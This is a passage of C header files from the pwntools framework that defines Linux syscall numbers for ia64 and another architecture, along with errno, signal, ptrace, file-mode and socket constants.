SYS_setreuid32 203 #define SYS_setrlimit 75 #define SYS_set_robust_list 311 #define SYS_setsid 66 #define SYS_setsockopt 366 #define SYS_set_thread_area 243 #define SYS_set_tid_address 258 #define SYS_settimeofday 79 #define SYS_setuid 23 #define SYS_setuid32 213 #define SYS_setxattr 226 #define SYS_sgetmask 68 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 373 #define SYS_sigaction 67 #define SYS_sigaltstack 186 #define SYS_signal 48 #define SYS_signalfd 321 #define SYS_signalfd4 327 #define SYS_sigpending 73 #define SYS_sigprocmask 126 #define SYS_sigreturn 119 #define SYS_sigsuspend 72 #define SYS_socket 359 #define SYS_socketcall 102 #define SYS_socketpair 360 #define SYS_splice 313 #define SYS_ssetmask 69 #define SYS_stat 106 #define SYS_stat64 195 #define SYS_statfs 99 #define SYS_statfs64 268 #define SYS_stime 25 #define SYS_stty 31 #define SYS_swapoff 115 #define SYS_swapon 87 #define SYS_symlink 83 #define SYS_symlinkat 304 #define SYS_sync 36 #define SYS_sync_file_range 314 #define SYS_syncfs 344 #define SYS__sysctl 149 #define SYS_sysfs 135 #define SYS_sysinfo 116 #define SYS_sys_kexec_load 283 #define SYS_syslog 103 #define SYS_tee 315 #define SYS_tgkill 270 #define SYS_time 13 #define SYS_timer_create 259 #define SYS_timer_delete (259+4) #define SYS_timerfd 322 #define SYS_timerfd_gettime 326 #define SYS_timerfd_gettime64 410 #define SYS_timerfd_settime 325 #define SYS_timerfd_settime64 411 #define SYS_timer_getoverrun (259+3) #define SYS_timer_gettime (259+2) #define SYS_timer_gettime64 408 #define SYS_timer_settime (259+1) #define SYS_timer_settime64 409 #define SYS_times 43 #define SYS_tkill 238 #define SYS_truncate 92 #define SYS_truncate64 193 #define SYS_ugetrlimit 191 #define SYS_ulimit 58 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount2 52 #define SYS_uname 122 #define SYS_unlink 10 #define SYS_unlinkat 301 #define SYS_unshare 310 #define SYS_uselib 86 #define SYS_userfaultfd 374 #define SYS_ustat 62 #define SYS_utime 30 #define SYS_utimensat 320 #define SYS_utimensat_time64 412 #define SYS_utimes 271 #define SYS_vfork 190 #define SYS_vhangup 111 #define SYS_vm86 166 #define SYS_vm86old 113 #define SYS_vmsplice 316 #define SYS_vserver 273 #define SYS_wait4 114 #define SYS_waitid 284 #define SYS_waitpid 7 #define SYS_write 4 #define SYS_writev 146 #define SYS_socketcall_socket 1 #define SYS_socketcall_bind 2 #define SYS_socketcall_connect 3 #define SYS_socketcall_listen 4 #define SYS_socketcall_accept 5 #define SYS_socketcall_getsockname 6 #define SYS_socketcall_getpeername 7 #define SYS_socketcall_socketpair 8 #define SYS_socketcall_send 9 #define SYS_socketcall_recv 10 #define SYS_socketcall_sendto 11 #define SYS_socketcall_recvfrom 12 #define SYS_socketcall_shutdown 13 #define SYS_socketcall_setsockopt 14 #define SYS_socketcall_getsockopt 15 #define SYS_socketcall_sendmsg 16 #define SYS_socketcall_recvmsg 17 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/ia64.h000066400000000000000000001236031507273764500242740ustar00rootroot00000000000000#define __NR_Linux 1024 #define __NR_ni_syscall (1024 + 0) #define __NR_exit (1024 + 1) #define __NR_read (1024 + 2) #define __NR_write (1024 + 3) #define __NR_open (1024 + 4) #define __NR_close (1024 + 5) #define __NR_creat (1024 + 6) #define __NR_link (1024 + 7) #define __NR_unlink (1024 + 8) #define __NR_execve (1024 + 9) #define __NR_chdir (1024 + 10) #define __NR_fchdir (1024 + 11) #define __NR_utimes (1024 + 12) #define __NR_mknod (1024 + 13) #define __NR_chmod (1024 + 14) #define __NR_chown (1024 + 15) #define __NR_lseek (1024 + 16) #define __NR_getpid (1024 + 17) #define __NR_getppid (1024 + 18) #define __NR_mount (1024 + 19) #define __NR_umount2 (1024 + 20) #define __NR_setuid (1024 + 21) #define __NR_getuid (1024 + 22) #define __NR_geteuid (1024 + 23) #define __NR_ptrace (1024 + 24) #define __NR_access (1024 + 25) #define __NR_sync (1024 + 26) #define __NR_fsync (1024 + 27) #define __NR_fdatasync (1024 + 28) #define __NR_kill (1024 + 29) #define __NR_rename (1024 + 30) #define __NR_mkdir (1024 + 31) #define __NR_rmdir (1024 + 32) #define __NR_dup (1024 + 33) #define __NR_pipe (1024 + 34) #define __NR_times (1024 + 35) #define __NR_brk (1024 + 36) #define __NR_setgid (1024 + 37) #define __NR_getgid (1024 + 38) #define __NR_getegid (1024 + 39) #define __NR_acct (1024 + 40) #define __NR_ioctl (1024 + 41) #define __NR_fcntl (1024 + 42) #define __NR_umask (1024 + 43) #define __NR_chroot (1024 + 44) #define __NR_ustat (1024 + 45) #define __NR_dup2 (1024 + 46) #define __NR_setreuid (1024 + 47) #define __NR_setregid (1024 + 48) #define __NR_getresuid (1024 + 49) #define __NR_setresuid (1024 + 50) #define __NR_getresgid (1024 + 51) #define __NR_setresgid (1024 + 52) #define __NR_getgroups (1024 + 53) #define __NR_setgroups (1024 + 54) #define __NR_getpgid (1024 + 55) #define __NR_setpgid (1024 + 56) #define __NR_setsid (1024 + 57) #define __NR_getsid (1024 + 58) #define __NR_sethostname (1024 + 59) #define __NR_setrlimit (1024 + 60) #define __NR_getrlimit (1024 + 61) #define __NR_getrusage (1024 + 62) #define __NR_gettimeofday (1024 + 63) #define __NR_settimeofday (1024 + 64) #define __NR_select (1024 + 65) #define __NR_poll (1024 + 66) #define __NR_symlink (1024 + 67) #define __NR_readlink (1024 + 68) #define __NR_uselib (1024 + 69) #define __NR_swapon (1024 + 70) #define __NR_swapoff (1024 + 71) #define __NR_reboot (1024 + 72) #define __NR_truncate (1024 + 73) #define __NR_ftruncate (1024 + 74) #define __NR_fchmod (1024 + 75) #define __NR_fchown (1024 + 76) #define __NR_getpriority (1024 + 77) #define __NR_setpriority (1024 + 78) #define __NR_statfs (1024 + 79) #define __NR_fstatfs (1024 + 80) #define __NR_gettid (1024 + 81) #define __NR_semget (1024 + 82) #define __NR_semop (1024 + 83) #define __NR_semctl (1024 + 84) #define __NR_msgget (1024 + 85) #define __NR_msgsnd (1024 + 86) #define __NR_msgrcv (1024 + 87) #define __NR_msgctl (1024 + 88) #define __NR_shmget (1024 + 89) #define __NR_shmat (1024 + 90) #define __NR_shmdt (1024 + 91) #define __NR_shmctl (1024 + 92) #define __NR_syslog (1024 + 93) #define __NR_setitimer (1024 + 94) #define __NR_getitimer (1024 + 95) #define __NR_vhangup (1024 + 99) #define __NR_lchown (1024 + 100) #define __NR_remap_file_pages (1024 + 101) #define __NR_wait4 (1024 + 102) #define __NR_sysinfo (1024 + 103) #define __NR_clone (1024 + 104) #define __NR_setdomainname (1024 + 105) #define __NR_uname (1024 + 106) #define __NR_adjtimex (1024 + 107) #define __NR_init_module (1024 + 109) #define __NR_delete_module (1024 + 110) #define __NR_quotactl (1024 + 113) #define __NR_bdflush (1024 + 114) #define __NR_sysfs (1024 + 115) #define __NR_personality (1024 + 116) #define __NR_afs_syscall (1024 + 117) #define __NR_setfsuid (1024 + 118) #define __NR_setfsgid (1024 + 119) #define __NR_getdents (1024 + 120) #define __NR_flock (1024 + 121) #define __NR_readv (1024 + 122) #define __NR_writev (1024 + 123) #define __NR_pread64 (1024 + 124) #define __NR_pwrite64 (1024 + 125) #define __NR__sysctl (1024 + 126) #define __NR_mmap (1024 + 127) #define __NR_munmap (1024 + 128) #define __NR_mlock (1024 + 129) #define __NR_mlockall (1024 + 130) #define __NR_mprotect (1024 + 131) #define __NR_mremap (1024 + 132) #define __NR_msync (1024 + 133) #define __NR_munlock (1024 + 134) #define __NR_munlockall (1024 + 135) #define __NR_sched_getparam (1024 + 136) #define __NR_sched_setparam (1024 + 137) #define __NR_sched_getscheduler (1024 + 138) #define __NR_sched_setscheduler (1024 + 139) #define __NR_sched_yield (1024 + 140) #define __NR_sched_get_priority_max (1024 + 141) #define __NR_sched_get_priority_min (1024 + 142) #define __NR_sched_rr_get_interval (1024 + 143) #define __NR_nanosleep (1024 + 144) #define __NR_nfsservctl (1024 + 145) #define __NR_prctl (1024 + 146) #define __NR_old_getpagesize (1024 + 147) #define __NR_mmap2 (1024 + 148) #define __NR_pciconfig_read (1024 + 149) #define __NR_pciconfig_write (1024 + 150) #define __NR_perfmonctl (1024 + 151) #define __NR_sigaltstack (1024 + 152) #define __NR_rt_sigaction (1024 + 153) #define __NR_rt_sigpending (1024 + 154) #define __NR_rt_sigprocmask (1024 + 155) #define __NR_rt_sigqueueinfo (1024 + 156) #define __NR_rt_sigreturn (1024 + 157) #define __NR_rt_sigsuspend (1024 + 158) #define __NR_rt_sigtimedwait (1024 + 159) #define __NR_getcwd (1024 + 160) #define __NR_capget (1024 + 161) #define __NR_capset (1024 + 162) #define __NR_sendfile (1024 + 163) #define __NR_getpmsg (1024 + 164) #define __NR_putpmsg (1024 + 165) #define __NR_socket (1024 + 166) #define __NR_bind (1024 + 167) #define __NR_connect (1024 + 168) #define __NR_listen (1024 + 169) #define __NR_accept (1024 + 170) #define __NR_getsockname (1024 + 171) #define __NR_getpeername (1024 + 172) #define __NR_socketpair (1024 + 173) #define __NR_send (1024 + 174) #define __NR_sendto (1024 + 175) #define __NR_recv (1024 + 176) #define __NR_recvfrom (1024 + 177) #define __NR_shutdown (1024 + 178) #define __NR_setsockopt (1024 + 179) #define __NR_getsockopt (1024 + 180) #define __NR_sendmsg (1024 + 181) #define __NR_recvmsg (1024 + 182) #define __NR_pivot_root (1024 + 183) #define __NR_mincore (1024 + 184) #define __NR_madvise (1024 + 185) #define __NR_stat (1024 + 186) #define __NR_lstat (1024 + 187) #define __NR_fstat (1024 + 188) #define __NR_clone2 (1024 + 189) #define __NR_getdents64 (1024 + 190) #define __NR_getunwind (1024 + 191) #define __NR_readahead (1024 + 192) #define __NR_setxattr (1024 + 193) #define __NR_lsetxattr (1024 + 194) #define __NR_fsetxattr (1024 + 195) #define __NR_getxattr (1024 + 196) #define __NR_lgetxattr (1024 + 197) #define __NR_fgetxattr (1024 + 198) #define __NR_listxattr (1024 + 199) #define __NR_llistxattr (1024 + 200) #define __NR_flistxattr (1024 + 201) #define __NR_removexattr (1024 + 202) #define __NR_lremovexattr (1024 + 203) #define __NR_fremovexattr (1024 + 204) #define __NR_tkill (1024 + 205) #define __NR_futex (1024 + 206) #define __NR_sched_setaffinity (1024 + 207) #define __NR_sched_getaffinity (1024 + 208) #define __NR_set_tid_address (1024 + 209) #define __NR_fadvise64 (1024 + 210) #define __NR_tgkill (1024 + 211) #define __NR_exit_group (1024 + 212) #define __NR_lookup_dcookie (1024 + 213) #define __NR_io_setup (1024 + 214) #define __NR_io_destroy (1024 + 215) #define __NR_io_getevents (1024 + 216) #define __NR_io_submit (1024 + 217) #define __NR_io_cancel (1024 + 218) #define __NR_epoll_create (1024 + 219) #define __NR_epoll_ctl (1024 + 220) #define __NR_epoll_wait (1024 + 221) #define __NR_restart_syscall (1024 + 222) #define __NR_semtimedop (1024 + 223) #define __NR_timer_create (1024 + 224) #define __NR_timer_settime (1024 + 225) #define __NR_timer_gettime (1024 + 226) #define __NR_timer_getoverrun (1024 + 227) #define __NR_timer_delete (1024 + 228) #define __NR_clock_settime (1024 + 229) #define __NR_clock_gettime (1024 + 230) #define __NR_clock_getres (1024 + 231) #define __NR_clock_nanosleep (1024 + 232) #define __NR_fstatfs64 (1024 + 233) #define __NR_statfs64 (1024 + 234) #define __NR_mbind (1024 + 235) #define __NR_get_mempolicy (1024 + 236) #define __NR_set_mempolicy (1024 + 237) #define __NR_mq_open (1024 + 238) #define __NR_mq_unlink (1024 + 239) #define __NR_mq_timedsend (1024 + 240) #define __NR_mq_timedreceive (1024 + 241) #define __NR_mq_notify (1024 + 242) #define __NR_mq_getsetattr (1024 + 243) #define __NR_kexec_load (1024 + 244) #define __NR_vserver (1024 + 245) #define __NR_waitid (1024 + 246) #define __NR_add_key (1024 + 247) #define __NR_request_key (1024 + 248) #define __NR_keyctl (1024 + 249) #define __NR_ioprio_set (1024 + 250) #define __NR_ioprio_get (1024 + 251) #define __NR_move_pages (1024 + 252) #define __NR_inotify_init (1024 + 253) #define __NR_inotify_add_watch (1024 + 254) #define __NR_inotify_rm_watch (1024 + 255) #define __NR_migrate_pages (1024 + 256) #define __NR_openat (1024 + 257) #define __NR_mkdirat (1024 + 258) #define __NR_mknodat (1024 + 259) #define __NR_fchownat (1024 + 260) #define __NR_futimesat (1024 + 261) #define __NR_newfstatat (1024 + 262) #define __NR_unlinkat (1024 + 263) #define __NR_renameat (1024 + 264) #define __NR_linkat (1024 + 265) #define __NR_symlinkat (1024 + 266) #define __NR_readlinkat (1024 + 267) #define __NR_fchmodat (1024 + 268) #define __NR_faccessat (1024 + 269) #define __NR_pselect6 (1024 + 270) #define __NR_ppoll (1024 + 271) #define __NR_unshare (1024 + 272) #define __NR_splice (1024 + 273) #define __NR_set_robust_list (1024 + 274) #define __NR_get_robust_list (1024 + 275) #define __NR_sync_file_range (1024 + 276) #define __NR_tee (1024 + 277) #define __NR_vmsplice (1024 + 278) #define __NR_fallocate (1024 + 279) #define __NR_getcpu (1024 + 280) #define __NR_epoll_pwait (1024 + 281) #define __NR_utimensat (1024 + 282) #define __NR_signalfd (1024 + 283) #define __NR_timerfd (1024 + 284) #define __NR_eventfd (1024 + 285) #define __NR_timerfd_create (1024 + 286) #define __NR_timerfd_settime (1024 + 287) #define __NR_timerfd_gettime (1024 + 288) #define __NR_signalfd4 (1024 + 289) #define __NR_eventfd2 (1024 + 290) #define __NR_epoll_create1 (1024 + 291) #define __NR_dup3 (1024 + 292) #define __NR_pipe2 (1024 + 293) #define __NR_inotify_init1 (1024 + 294) #define __NR_preadv (1024 + 295) #define __NR_pwritev (1024 + 296) #define __NR_rt_tgsigqueueinfo (1024 + 297) #define __NR_recvmmsg (1024 + 298) #define __NR_fanotify_init (1024 + 299) #define __NR_fanotify_mark (1024 + 300) #define __NR_prlimit64 (1024 + 301) #define __NR_name_to_handle_at (1024 + 302) #define __NR_open_by_handle_at (1024 + 303) #define __NR_clock_adjtime (1024 + 304) #define __NR_syncfs (1024 + 305) #define __NR_setns (1024 + 306) #define __NR_sendmmsg (1024 + 307) #define __NR_process_vm_readv (1024 + 308) #define __NR_process_vm_writev (1024 + 309) #define __NR_accept4 (1024 + 310) #define __NR_finit_module (1024 + 311) #define __NR_sched_setattr (1024 + 312) #define __NR_sched_getattr (1024 + 313) #define __NR_renameat2 (1024 + 314) #define __NR_getrandom (1024 + 315) #define __NR_memfd_create (1024 + 316) #define __NR_bpf (1024 + 317) #define __NR_execveat (1024 + 318) #define __NR_userfaultfd (1024 + 319) #define __NR_membarrier (1024 + 320) #define __NR_kcmp (1024 + 321) #define __NR_mlock2 (1024 + 322) #define __NR_copy_file_range (1024 + 323) #define __NR_preadv2 (1024 + 324) #define __NR_pwritev2 (1024 + 325) #define __NR_statx (1024 + 326) #define __NR_io_pgetevents (1024 + 327) #define __NR_perf_event_open (1024 + 328) #define __NR_seccomp (1024 + 329) #define __NR_pkey_mprotect (1024 + 330) #define __NR_pkey_alloc (1024 + 331) #define __NR_pkey_free (1024 + 332) #define __NR_rseq (1024 + 333) #define __NR_pidfd_send_signal (1024 + 424) #define __NR_io_uring_setup (1024 + 425) #define __NR_io_uring_enter (1024 + 426) #define __NR_io_uring_register (1024 + 427) #define __NR_open_tree (1024 + 428) #define __NR_move_mount (1024 + 429) #define __NR_fsopen (1024 + 430) #define __NR_fsconfig (1024 + 431) #define __NR_fsmount (1024 + 432) #define __NR_fspick (1024 + 433) #define __NR_pidfd_open (1024 + 434) #define __NR_openat2 (1024 + 437) #define __NR_pidfd_getfd (1024 + 438) #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 64 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define 